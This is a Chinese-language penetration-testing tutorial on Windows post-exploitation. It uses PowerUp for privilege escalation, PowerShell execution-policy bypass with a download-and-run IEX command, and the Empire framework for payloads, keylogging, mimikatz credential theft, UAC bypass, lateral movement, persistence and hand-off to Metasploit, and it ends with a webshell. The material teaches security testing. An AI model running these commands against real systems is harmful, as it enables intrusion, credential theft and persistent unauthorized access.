PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命
20. Install-ServiceBinary
通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务
PowerUP攻击模块实战演练
很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用
实战演练一
首先我们安装一个存在漏洞的服务环境:
https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe
安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add
然后登录到这个新建的普通用户
我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载
然后调用Invoke-AllChecks
先介绍下Unquoted Service Paths
简介
“包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权
实战演练一
漏洞原理
这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
实战演练一
根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径
C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe
这时需要检测目录是否有写权限
C:\ 普通用户目录默认是不让写的
C:\Program Files (x86)\Photodex\
可以使用cacls或icacls,可以看到当前用户不可写
再测试C:\Program Files (x86)\Photodex\ProShow Producer\发现可写
直接Write-ServiceBinary 来尝试提权,如下提示进程在使用
使用move把文件重命名,然后重新执行写入,这时生成的ScsiAccess.exe为利用程序
当服务器重启后,提权成功,系统会新增一个管理员权限用户john/Password123!
提权成功后我们把所有状态恢复到最初的状态
实战演练二
AlwaysInstallElevated提权
该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:
设置漏洞环境
管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
防御的话,就是把上述启用的选项关闭
实战演练二
在这次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI两个模块
首先先加载PowerUp,使用Get-RegistryAlwaysInstallElevated检测相关注册表是否被设置
显示“true”则表示AlwaysInstallElevated注册表已经被设置:这就意味着MSI文件是以System权限运行的。
接着运行Write-UserAddMSI,会在当前目录下生成一个UserAdd.msi文件
以普通用户权限运行UserAdd.msi添加管理员账户 成功添加backdoor管理员权限账户
PowerShell技术
常用的PowerShell攻击工具:
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。
PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充
PowerShell优点
基于.NET框架
操作系统信任
提供win系列操作系统的几乎一切访问权限
win7之后默认安装
脚本可以运行在内存中,不需要写入磁盘
cmd.exe通常会被安全软件阻止,一般PowerShell不会
第一种
第二种
cmd下输入powershell进入
PowerShell版本
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本
PowerShell基本概念
PS1文件:
一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1
PowerShell基本概念
执行策略:
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。
我们可以使用: Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。
Restricted:脚本不能运行(默认设置)
RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行;
Unrestricted:允许所有的脚本执行
另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行
PowerShell基本概念
运行脚本:
运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1
但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样。
管道:
管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
例如:
假设停止所有目前运行中的,以“note"字符开头命名的程序
Get-Process note*|stop-process
基本知识:
在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。
后面会以文件操作为例讲解PowerShell命令的基本用法
文件操作类的PowerShell命令:
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test1.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value "haha"
给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt
删除文件test.txt:Remove-Item test.txt
绕过执行策略执行PowerShell脚本
如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted
在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式
1.绕过本地权限执行
2.本地隐藏绕过权限执行脚本
3.用IEX下载远程PS1脚本绕过权限执行
上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本
powershell -exec bypass .\test.ps1
powershell.exe -exec bypass -W hidden -nop test.ps1
输入命令执行后会退出命令提示符
用IEX下载远程PS1脚本绕过权限执行
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
PowerShell命令参数说明
对上述命令参数进行说明
ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc base64: 把ps脚本编码成base64来执行,实战用的最多;
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire的全部功能可以参考其官方网站:
http://www.powershellempire.com
Empire安装
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
其他分支目前还有人在更新维护,需要Python 3.x环境
https://github.com/BC-SECURITY/Empire
可以选择其中一个安装使用,这里我们还是以官方这个来安装使用
Empire安装
这里使用的系统是Kali,首先通过git命令下载程序目录。
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
打开Empire后,可以看到版本为2.5,280模块(modules),0个监听(listeners),0个会话(agents)
Empire的基本使用
基本使用会涉及如下内容:
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
Empire的基本使用
帮助文档
设置监听
Empire和Metasploit的使用原理一样,都是需要先设置一个监听,接着生成一个木马,然后在目标主机上运行该木马,我们的监听就会连接上反弹回来的会话。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
设置监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。
设置监听
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
设置监听
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的
通过back返回上一级,使用listeners或者list可以查看所设置的监听器
Empire的基本使用
生成木马
输入usestager后 空格加TAB键 查看可以设置的木马模式
木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
生成木马
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
生成木马
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
我们再介绍另一种生成木马方式:launcher
如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器(listeners)中输入命令 launcher
可以看到有会话生成,输入 agents 可以查看已经获得的会话
连接主机和基本使用
在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意如果有带有(*)的是已提权成功的主机。
然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称
连接主机和基本使用
使用某些CMD命令时,要使用“shell+命令的形式” ,如下
信息收集
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表
1.屏幕截 图
2.键盘记录
输入以下命令usemodule collection/keylogger,通过info可以查看详细信息,execute执行
4.查找域管登陆服务器IP
在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,以下这个模块就是用来查找域管登录的机器的。
使用模块usemodule situational_awareness/network/powerview/user_hunter
权限提升
提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:
1.Bypass UAC
UAC介绍
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹
查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞
权限提升
3.通过溢出漏洞
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。
这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提权
横向渗透
横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。
在横向渗透中,最先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。
横向渗透
1.令牌窃取
我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码。如下图所示
从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动
输入revtoself命令可以将令牌权限恢复到原来的状态
2.会话注入
我们也可以使用usemodule management/psinject模块来进程注入,获取权限,输入info查看参数设置,如下图所示。
设置下Listeners和ProcID这2个参数,这里的ProcID还是之前的CMD的1380,运行后反弹回一个域用户权限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。
使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents,只有一个IP为192.168.31.251,机器名为WIN7-64的服务器,如下图所示。
现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86,输入info查看设置参数,如下图所示。
权限维持
攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境。服务器重启后,我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术
权限维持
1.权限持久性劫持shift后门
shitf后门,其实就是使用了windows系统的粘滞键功能,当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序,然后通过按5次就来启动后门。
输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块,可以输入info查看参数,
2.注册表注入后门
使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令,可以输入info查看信息
Empire反弹回Metasploit
在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回Metasploit。
首先在Metasploit我们使用multi/script/web_delivery模块,输入如下命令
使用usemodule code_execution/invoke_metasploitpayload模块,输入info看下参数,如下图所示
这里我们只需修改1个参数URL,
修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y
Metasploit收到Empire反弹回来的shell,如下图所示。
权限提升
需要UAC的授权才能进行的操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
权限提升
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何Bypass UAC
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
WebShell后门
存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。
将Nishang的antak.aspx文件,放在IIS网站中
然后访问网站中的antak.aspx文件(出现登陆页面)
Nishang的antak用户名:Disclaimer
Nishang的antak密码:ForLegitUseOnly